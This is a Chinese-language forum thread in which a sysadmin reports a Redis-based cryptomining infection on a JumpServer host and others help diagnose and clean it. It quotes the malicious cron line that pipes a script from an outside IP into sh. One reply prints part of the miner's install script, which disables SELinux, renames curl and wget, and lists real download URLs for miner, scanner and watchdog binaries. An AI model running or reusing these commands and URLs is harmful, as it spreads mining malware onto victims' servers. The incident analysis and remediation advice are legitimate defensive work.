公司用了个 jumpserver 做跳板机,之前运维同学弄的 版本 Version 1.3.2-2
今天发现连不上了.
进去发现 redis 出了问题.redis 是本地启动的,监听内网端口 排查发现 rdb 文件写入没权限,写入目录 /etc/cron.d 这...肯定不对啊.发现写入了一个文件:
文件内容 */1 * * * * curl -fsSL http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/init.sh |sh
被马无疑了.但是写入报了权限问题?这个文件怎么还写入成功了.
现在想研究一下这个马,然后对服务器得全处理一下了.头疼. 这个马怎么解 shell 玩的不好,求帮忙
1
firebroo 2019-06-21 09:59:01 +08:00
排除对方拿了权限之后是否改你 redis 启动权限,监听地址,不是的话,大概不是从 redis 进来的。
|
2
catcalse 2019-06-21 10:02:07 +08:00
中了挖矿病毒。。默哀。。
|
3
shooter556 2019-06-21 10:05:29 +08:00
先杀进程
删除相关文件 删除 crontab 监控网络连接异常 手不够快有可能需要写脚本,有些进程会 respawn 的 |
4
shooter556 2019-06-21 10:06:44 +08:00
想研究的话,不用删除,放到某个地方就行了
|
5
houzhimeng 2019-06-21 10:08:55 +08:00
挖矿,数据都在 tmp 下了,服务器上应该有 shell 脚本
|
6
xiaotianhu OP @firebroo 那不至于用 redis 写文件来执行啊. 我怀疑是从 jumpserver 给 redis 执行命令.
|
7
xiaotianhu OP @shooter556 docker 安全么.隔离性够用的吧
|
8
defunct9 2019-06-21 10:27:34 +08:00 15
开 ssh,让我上去看看
|
9
lvzhiqiang 2019-06-21 10:35:51 +08:00
那个定时任务归属那个用户的? -- 还有,重装系统吧,你不知道系统那个角落还 藏有挂马脚本。
|
10
1ffree 2019-06-21 10:40:47 +08:00
上次中招, 就把机器改成 ssh 密钥登陆了, 再没发生过
|
12
gaius 2019-06-21 10:53:57 +08:00
查下进程,可能还有进程会自动下载脚本跑
|
13
xiaotianhu OP 搞定了,应该是没执行成功.虚惊了
|
14
muchengxue 2019-06-21 11:12:33 +08:00
挖矿的,利用了 redis 写文件的特性,你 redis 没设置密码吧
|
15
cominghome 2019-06-21 11:14:09 +08:00
你们的跳板机居然可以从外网访问到,心也太大了吧
|
17
caryqy 2019-06-21 11:47:35 +08:00 4
|
19
Livid MOD |
20
kangmang92 2019-06-21 13:22:07 +08:00
@xiaotianhu 如何搞定的 详细说说 我的 docker 跑的 redis 也发现了 这个 多谢
|
21
version 2019-06-21 13:51:11 +08:00 via iPhone
应该是你服务器主机没有屏蔽 6379 端口,我之前测试服务器也是试过,平时正常是 127 本机监控,后来业务开内网监听就出事了,后来发现安全组没有开屏蔽 6379,以前研究过,还找到了挖矿账号,查到不少余额,不过也只能重新安装了,一般服务器开防火墙应该没问题,攻击来源也没猜到,其它人也用,评定不了
|
22
oneisall8955 2019-06-21 13:58:34 +08:00 via Android
早就遇到过了 redis 的端口和配置问题,
1 没密码 2 端口太普通 3 默认配置有那个写本地的权限 解决方案,指标+治本 1,按照网上重新配置密码端口和去掉权限 2,kill 掉进程 3,删除公钥中不是你的密钥 4,删除 crontab 里面的定时任务 |
23
lepig 2019-06-21 14:08:46 +08:00
|
24
lepig 2019-06-21 14:09:59 +08:00
提供一个清理脚本,仅供参考。我在自己的个人服务器上执行过
https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh 不过,如果可以 还是建议重装一次系统 |
25
linnil 2019-06-21 14:13:33 +08:00
能 ps 出那个进程么? vi 删掉定时任务之后会立刻重新恢复么?/proc 下有对应进程 ID 的文件夹么?
如果上面的回答都是 no,那么准备好迁移的数据,重装系统吧。如果不是,参考前面给的建议。 对付`rootkit`难度爆表。 |
26
liuyi_beta 2019-06-21 14:58:17 +08:00
把脚本里的 eval 改成 echo,在 shell 里执行,看解密出来的那一串字符,然后 rev,就是一串 base64,然后解码就能看到具体的脚本执行内容了,就是挖矿脚本
|
28
viruser 2019-06-21 15:43:28 +08:00
还是 ddg 挖矿木马,可能内网机子由于其他原因感染了木马,然后木马爆破出 redis 密码进行了横向扩散。新木马和之前的相比,新木马尝试使用 drupal, Elasticsearch, Hadoop, redis, spring, sqlserver, ssh, thinkphp, weblogic 等服务的配置失误 /漏洞进行 RCE... ![Annotation 2019-06-21 153649.png]( https://i.loli.net/2019/06/21/5d0c892adfa7978592.png)
|
29
dunhanson 2019-06-21 15:49:24 +08:00 2
@Livid
具体到这个问题 10 个人装 linux,就有 10 种不同的 linux 所以不上机器,就猜火车,我觉得远不如上去看看到底是怎么回事有用 redis 的漏洞我见过两种,所以懒得猜,看具体情况再分析 版主的言论和脑回路真是不敢苟同 每个人可以选择相信别人,也可以选择不信 物以类聚,人以群分嘛 至少我在 v2 的时候帮人解决了不少问题,交易也都先付款,感觉还颇不错 很有诚信的一个论坛 找了几贴(被封了还翻贴真累撒): https://v2ex.com/t/530877#reply19 https://www.v2ex.com/t/534100#reply29 https://v2ex.com/t/530578#reply54 再靠前的就懒得翻了 感觉版主跟 abmin521 是同一类人 封了就封了吧,最近 V2 也怪怪的,似乎大家也很争议。 |
31
Livid MOD |
33
zhouwei520 2019-06-21 16:26:19 +08:00 3
|
35
firebroo 2019-06-21 17:09:46 +08:00
太长了,复制不出来,你找个虚拟机 sh -x xx.sh 就行
#!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url miner_url="https://pixeldrain.com/api/file/qfCJh56W" miner_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysupdate" miner_size="854364" sh_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh" sh_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh" config_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json" config_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json" config_size="3300" scan_url="https://pixeldrain.com/api/file/GXot-j_7" scan_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/networkservice" scan_size="2345296" watchdog_url="https://pixeldrain.com/api/file/9aWNKUNO" watchdog_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysguard" watchdog_size="1587024" |
37
dif 2019-06-21 17:34:07 +08:00
我也遇到过,加了个密码就解决了。
docker run -d --name redis-server -p 6379:6379 redis --requirepass "用 1password 生成的密码"就行了。 |
38
mink 2019-06-21 17:40:45 +08:00
我也遇到过,在腾讯云使用 docker redis 镜像的时候发现有挖矿脚本。 怕服务器里面还有脚本就重装了, 然后 redis 下载了官方的没有用 docker, 怀疑是 docker 中 redis 镜像已经中招了。
|
39
imlz 2019-06-21 18:33:02 +08:00
@xiaotianhu 你好,我是 jumpserver 的代码贡献者之一,你说的问题我们能否私聊一下? [email protected]
|
40
akira 2019-06-21 19:45:58 +08:00
重新搭建一套服务器环境吧,原环境应该都是不可靠的了
|
41
kzfile 2019-06-21 20:12:59 +08:00
我用的 windows server 跑的 redis,狂毒写入了脚本,但是跑不动 :doge
|
43
onepunch 2019-06-21 22:46:06 +08:00
之前服务器也出现过挖矿病毒,会有一个叫 http 的进程, cpu 直接 100% ;仔细看看进程有没有问题吧
|
44
qwqVictor 2019-06-22 14:37:30 +08:00
闲的没事在 Docker 里执行了一下,用 bash -x 还原了执行过程,然后抓出来三个 binary,楼主拿着它研究一下,最近没啥时间不然我也研究一下。
三个 binary、原脚本和执行过程的输出都打包了: https://cloud.qwq.ren/s/cmcjRJSGXdTmr6f 另外扫了下这个马下载服务器的端口,发现它挺空的,估计是专用来下载马的。这个 IP 的 AS 号为 AS134520,属于 TechAvenue 公司,估计是 GigsGigsCloud 的机子 (我自己的转发机也是 GigsGigsCloud 所以很熟 233333)。你可以尝试联系服务商举报这个机子滥用来报复他一下 233333 |
45
qwqVictor 2019-06-22 14:45:14 +08:00
sysupdate 似乎就是挖门罗币的 xmrig
|
46
xiaotianhu OP |
47
xiaotianhu OP @liuyi_beta 是这样,我也用这个方法分析了一下,感谢.
|
48
xiaotianhu OP @imlz 应该是 redis 的问题.跟 jumpserver 不知道关系大不大
但是我 redis 监听是内网端口,无密码.机器在阿里云 vpc 内,我理解的外面的人应该是无法访问我 vpc 内网的 redis 啊,只有 jumpserver 的 web 和 ssh 有外网权限.ssh 有问题阿里云会提醒,但是并没有 ssh 相关报警. 所以怀疑是 jumpserver.这机器上没有其他的业务用了 redis,但是有在跑一个 zabbix 的 client |
49
realpg 2019-06-23 02:36:06 +08:00
@xiaotianhu #46
挖矿需要啥 root 权限…… 而且都成功写入 cron 了…… 没执行大概是你的 cron 服务有问题 基本上这类挖矿的都不要权限,甚至大量 nobody 执行的(多见与垃圾 PHP 代码被注出来的) |